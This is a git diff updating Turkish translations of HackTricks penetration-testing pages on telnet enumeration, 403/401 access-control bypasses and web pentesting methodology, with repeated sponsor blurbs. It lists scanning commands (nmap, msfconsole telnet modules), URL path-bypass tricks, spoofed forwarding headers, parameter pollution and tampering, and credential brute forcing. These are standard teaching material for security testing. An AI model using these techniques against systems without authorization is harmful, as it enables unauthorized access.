diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md
index 91bc07633..487297a5a 100644
--- a/network-services-pentesting/pentesting-telnet.md
+++ b/network-services-pentesting/pentesting-telnet.md
@@ -2,29 +2,29 @@
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Hemen kullanıma hazır zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Her yerden erişilebilir zafiyet değerlendirme ve penetrasyon testi için anında kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, shell'ler açma ve eğlenme zamanı kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
## **Temel Bilgiler**
-Telnet, kullanıcılara bir bilgisayara ağ üzerinden GÜVENİLMEZ bir şekilde erişim sağlayan bir ağ protokolüdür.
+Telnet, kullanıcılara bir bilgisayara ağ üzerinden güvensiz bir şekilde erişim sağlayan bir ağ protokolüdür.
-**Varsayılan bağlantı noktası:** 23
+**Varsayılan port:** 23
```
23/tcp open telnet
```
@@ -38,9 +38,9 @@ Tüm ilginç numaralandırma işlemleri **nmap** tarafından gerçekleştirilebi
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
-Betik `telnet-ntlm-info.nse`, NTLM bilgilerini (Windows sürümleri) alacaktır.
+Betik `telnet-ntlm-info.nse`, NTLM bilgilerini (Windows sürümleri) elde edecektir.
-[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi sözleşmeyi kullanmayı kabul etmelerine izin vermek için "**DO, DON'T, WILL, WON'T**" yapısıyla "**seçenekler**" bulunmaktadır. Bu tür seçenekler, karakter setini değiştirme, yankı modu vb. içerebilir.
+[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi sözleşmeyi kullanmayı kabul etmelerine izin vermek için "**DO, DON'T, WILL, WON'T**" yapısıyla "**options**" adı verilen çeşitli seçenekler bulunmaktadır. Bu tür seçenekler, karakter setini değiştirme, yankı modu vb. içerebilir.
**Bu seçenekleri numaralandırmanın mümkün olduğunu biliyorum ama nasıl yapılacağını bilmiyorum, bu yüzden biliyorsanız bana bildirin.**
@@ -84,22 +84,22 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
-
+
-**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar giden 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Zafere giden yolda sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index 998b29eec..1efd981ac 100644
--- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -2,21 +2,21 @@
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan özellikler. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
@@ -24,15 +24,15 @@ HackTricks'ı desteklemenin diğer yolları:
Dosyaya erişmek için **farklı fiilleri** deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
-* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD fiiline 200 yanıtı** dosyaya erişebileceğini gösterir. Ancak yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekebilir.
+* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD fiiline 200 yanıtı** almak, **HEAD fiilinin bilgilere erişebileceği anlamına gelir**. Ancak yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekebilir.
* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanarak kullanılan fiili değiştirebilirsiniz.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıtta ayrıca **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz ki bu faydalı olabilir.
## HTTP Başlıkları Fuzzing
-* **Host başlığını** rastgele bir değere değiştirin ([burada işe yarayan](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
+* **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Kaynağa erişmek için [**başka Kullanıcı Ajanları**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
-* **HTTP Başlıklarını Fuzzlayın**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyonla) ve diğer teknikleri deneyin. Bunun için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) adlı aracı oluşturdum.
+* **HTTP Başlıklarını Fuzzlayın**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyonla) ve diğer teknikleri deneyin. Tüm bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) adlı aracı oluşturdum.
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@@ -61,35 +61,35 @@ Eğer **yol korumalıysa** bu diğer başlıkları kullanarak yol korumasını a
Eğer _/yol_ engellenmişse:
-* _**/**_**%2e/path_ kullanmayı deneyin (erişim bir proxy tarafından engelleniyorsa, bu korumayı atlayabilir). Ayrıca **\_\*\* /%252e\*\*/path (çift URL kodlamasıyla) deneyin
-* **Unicode atlatması** deneyin: _/**%ef%bc%8f**path_ (URL kodlanmış karakterler "/") böylece kodlandığında _//path_ olacak ve belki de _/path_ adını zaten atlatmış olabilirsiniz
+* _**/**_**%2e/yol_ kullanmayı deneyin (erişim bir proxy tarafından engelleniyorsa, bu korumayı atlayabilir). Ayrıca**\_\*\* /%252e\*\*/yol (çift URL kodlaması ile)
+* **Unicode atlatması** deneyin: _/**%ef%bc%8f**yol_ (URL kodlanmış karakterler "/") bu yüzden kodlanmış geri dönüldüğünde _//yol_ olacak ve belki de _/yol_ adı kontrolünü zaten atlatmış olabilirsiniz
* **Diğer yol atlatmaları**:
-* site.com/secret –> HTTP 403 Yasaklandı
-* site.com/SECRET –> HTTP 200 Tamam
-* site.com/secret/ –> HTTP 200 Tamam
-* site.com/secret/. –> HTTP 200 Tamam
-* site.com//secret// –> HTTP 200 Tamam
-* site.com/./secret/.. –> HTTP 200 Tamam
-* site.com/;/secret –> HTTP 200 Tamam
-* site.com/.;/secret –> HTTP 200 Tamam
-* site.com//;//secret –> HTTP 200 Tamam
-* site.com/secret.json –> HTTP 200 Tamam (ruby)
-* Tüm [**bu listeyi**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) aşağıdaki durumlarda kullanın:
-* /FUZZsecret
-* /FUZZ/secret
-* /secretFUZZ
+* site.com/gizli –> HTTP 403 Yasak
+* site.com/GİZLİ –> HTTP 200 Tamam
+* site.com/gizli/ –> HTTP 200 Tamam
+* site.com/gizli/. –> HTTP 200 Tamam
+* site.com//gizli// –> HTTP 200 Tamam
+* site.com/./gizli/.. –> HTTP 200 Tamam
+* site.com/;/gizli –> HTTP 200 Tamam
+* site.com/.;/gizli –> HTTP 200 Tamam
+* site.com//;//gizli –> HTTP 200 Tamam
+* site.com/gizli.json –> HTTP 200 Tamam (ruby)
+* Tüm [**bu liste**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)yi aşağıdaki durumlarda kullanın:
+* /FUZZgizli
+* /FUZZ/gizli
+* /gizliFUZZ
* **Diğer API atlatmaları:**
-* /v3/users\_data/1234 --> 403 Yasaklandı
-* /v1/users\_data/1234 --> 200 Tamam
+* /v3/kullanıcı_verileri/1234 --> 403 Yasak
+* /v1/kullanıcı_verileri/1234 --> 200 Tamam
* {“id”:111} --> 401 Yetkisiz
* {“id”:\[111]} --> 200 Tamam
* {“id”:111} --> 401 Yetkisiz
* {“id”:{“id”:111\}} --> 200 Tamam
* {"user\_id":"\","user\_id":"\"} (JSON Parametre Kirliliği)
-* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parametre Kirliliği)
+* user\_id=SALDIRGAN_ID\&user\_id:KURBAN_ID (Parametre Kirliliği)
## **Parametre Manipülasyonu**
-* **Parametre değerini değiştirin**: **`id=123` --> `id=124`**
+* Parametre değerini değiştirin: **`id=123` --> `id=124`**
* URL'ye ek parametreler ekleyin: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Parametreleri kaldırın
* Parametreleri yeniden sıralayın
@@ -103,14 +103,14 @@ Eğer HTTP/1.1 kullanılıyorsa **1.0 kullanmayı deneyin** veya hatta **2.0'yı
## **Diğer Geçişler**
* Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişime geçmeyi** deneyin.
-* Sunucuyu **zorlamayı** deneyin, yaygın GET istekleri göndererek ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
+* Sunucuyu zorlamak için yaygın GET istekleri göndererek **sunucuyu zorlayın** ([Bu kişi için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Protokolü değiştirin**: http'den https'ye veya https'den http'ye
* [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir** olup olmadığını kontrol edin.
## **Kaba Kuvvet**
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini deneyin. Kurban hakkında bir şey biliyor musunuz? Veya CTF meydan okuma adını mı biliyorsunuz?
-* [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
+* [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, sindirim ve NTLM kimlik doğrulamasını deneyin.
{% code title="Yaygın kimlik bilgileri" %}
```
@@ -131,9 +131,9 @@ guest guest
* [Burp Eklentisi - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
@@ -143,10 +143,10 @@ guest guest
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md
index 2d1a92a6b..84ea1bf31 100644
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@@ -1,28 +1,28 @@
-# 80,443 - Web Pentesting Metodolojisi
+# 80,443 - Web Pentesting Methodology
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking hilelerinizi paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun**.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
+Eğer **hackleme kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Polonyaca yazılı ve konuşulan gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
-Web servisi en **sık karşılaşılan ve kapsamlı hizmet**tir ve birçok **farklı türde zayıflık** bulunmaktadır.
+Web servisi en **yaygın ve kapsamlı hizmet**tir ve birçok **farklı türde zayıflık** bulunmaktadır.
**Varsayılan port:** 80 (HTTP), 443(HTTPS)
```bash
@@ -43,36 +43,36 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Metodoloji özeti
-> Bu metodolojide, bir alan adına (veya alt alan adına) saldırı gerçekleştireceğinizi varsayacağız. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsamı içinde belirlenemeyen bir web sunucusuna uygulamanız gerekmektedir.
+> Bu metodolojide, bir alan adına (veya alt alan adına) saldıracağınızı varsayacağız ve yalnızca bunu yapacağınızı düşüneceğiz. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsam içinde belirlenemeyen bir web sunucusuna uygulamanız gerekmektedir.
-* [ ] İlk olarak, web sunucusu tarafından kullanılan **teknolojileri belirleyin**. Eğer teknolojiyi başarılı bir şekilde belirleyebilirseniz, testin geri kalanı sırasında akılda tutulacak **püf noktaları** arayın.
-* [ ] Kullanılan teknolojinin versiyonuna ait **bilinen bir zayıflık** var mı?
-* [ ] **Tanınmış bir teknoloji** kullanılıyor mu? Daha fazla bilgi çıkarmak için **yararlı bir püf noktası** var mı?
+* [ ] İlk olarak, web sunucusu tarafından kullanılan teknolojileri **belirleyerek** başlayın. Eğer teknolojiyi başarılı bir şekilde tanımlayabilirseniz, testin geri kalanı sırasında akılda tutulacak **püf noktaları** arayın.
+* [ ] Kullanılan teknolojinin sürümüne ait **bilinen bir zayıflık** var mı?
+* [ ] **Tanınmış bir teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için **yararlı bir püf noktası** var mı?
* [ ] Çalıştırılacak **özel tarama aracı** var mı (örneğin wpscan)?
-* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bir şey bulacaklarını veya ilginç bilgiler bulacaklarını asla bilemezsiniz.
+* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bulabilecekleri bir şey olup olmadığını veya ilginç bilgiler bulabileceklerini asla bilemezsiniz.
* [ ] İlk kontrollerle başlayın: **robots**, **sitemap**, **404** hata ve **SSL/TLS taraması** (HTTPS ise).
-* [ ] Web sayfasını **spidering** işlemine başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulguları** kontrol edin.
-* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin spider edilmelidir._
-* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri tarayarak yeni **dosyaları** ve **dizinleri** brute force etmeye çalışın.
-* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin brute force edilmelidir._
-* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların yedeklerini bulabilir misiniz, yaygın yedek uzantılarını ekleyerek test edin.
-* [ ] **Parametreleri Brute-Force etme**: **Gizli parametreleri** bulmaya çalışın.
-* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** belirledikten sonra, bunlarla ilgili **tüm zayıflıkları** kontrol edin.
+* [ ] Web sayfasını **spidering** ile tarayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca, **özel bulguları** kontrol edin.
+* [ ] _Herhangi bir yeni dizin, brute-forcing veya spidering sırasında keşfedildiğinde, bu dizin spider edilmelidir._
+* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri arayarak yeni **dosyaları** ve **dizinleri** brute force etmeye çalışın.
+* [ ] _Herhangi bir yeni dizin, brute-forcing veya spidering sırasında keşfedildiğinde, bu dizin brute force edilmelidir._
+* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların **yedeklerini** bulmaya çalışın ve yaygın yedek uzantılarını ekleyin.
+* [ ] **Parametreleri Brute Force etme**: **Gizli parametreleri** bulmaya çalışın.
+* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** tanımladıktan sonra, bunlarla ilgili tüm türden **zayıflıkları** kontrol edin.
* [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology/)
-## Sunucu Versiyonu (Zayıf mı?)
+## Sunucu Sürümü (Zayıf mı?)
-### Belirleme
+### Tanımla
-Çalışan sunucu **versiyonu** için **bilinen zayıflıkların** olup olmadığını kontrol edin.\
-**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **versiyonu belirlemek** için oldukça yararlı olabilir. **Nmap taraması** sunucu versiyonunu belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir.
+Çalışan sunucu **sürümü** için **bilinen zayıflıkların** olup olmadığını kontrol edin.\
+**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü tanımlamak** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü tanımlayabilir, ancak ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir.
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-**Web uygulamasının güvenlik açıklarını arayın** [**sürüm** **versiyonu** arayın](../../generic-methodologies-and-resources/search-exploits.md)
+**Web uygulamasının sürümü** için [**web uygulamasının zafiyetlerini arayın**](../../generic-methodologies-and-resources/search-exploits.md)
### **Herhangi bir WAF olup olmadığını kontrol edin**
@@ -82,7 +82,7 @@ webanalyze -host https://google.com -crawl 2
### Web teknik hileler
-Farklı tanınmış **teknolojilerdeki güvenlik açıklarını bulmak** için bazı **hileler**:
+Farklı tanınmış **teknolojilerdeki zafiyetleri bulmak** için bazı **hileler**:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@@ -116,19 +116,19 @@ Farklı tanınmış **teknolojilerdeki güvenlik açıklarını bulmak** için b
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
-_Aynı **alan** farklı **teknolojileri** farklı **portlarda**, **klasörlerde** ve **alt alanlarda** kullanabilir._\
-Eğer web uygulaması herhangi bir önceki **teknoloji/platform** veya **başka birini** kullanıyorsa, **İnternet'te** yeni hileler aramayı unutmayın (ve bana bildirin!).
+_Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanabileceğini unutmayın._\
+Eğer web uygulaması herhangi bir önce **listelenen tanınmış teknoloji/platformu** veya **başka birini** kullanıyorsa, **İnternet'te yeni hileler aramayı** unutmayın (ve bana bildirin!).
### Kaynak Kod İncelemesi
